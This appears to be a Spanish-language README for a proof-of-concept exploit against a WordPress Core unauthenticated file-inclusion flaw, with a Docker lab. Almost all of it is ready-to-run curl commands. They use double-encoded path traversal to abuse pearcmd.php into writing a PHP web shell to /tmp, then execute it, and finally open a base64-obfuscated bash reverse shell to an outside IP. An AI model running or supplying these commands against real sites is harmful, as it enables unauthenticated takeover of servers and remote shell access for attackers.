
Prueba de concepto de exploit para CVE-2026-87902, un LFI no autenticado en WordPress Core que conduce a RCE a través de pearcmd.php, con un laboratorio Docker y scripts de exploit en curl/Python.
WordPress Core <= 7.1.1 — LFI no autenticado (cargador de plantillas pagename) → RCE mediante pearcmd.php y peclcmd.php
cd docker && docker compose up -d
curl -s 'http://10.137.137.49:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd&+config-create+/&<?=`$_REQUEST[_]`?>+/tmp/pwn.php'
curl -s 'http://10.137.137.49:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn&_=id'
# Reverse Shell
curl -s 'http://127.0.0.1:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn&_=echo+L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjM3LzQ0MyAwPiYxJyAg|base64+-d|sh'
python3 exploit-pear.py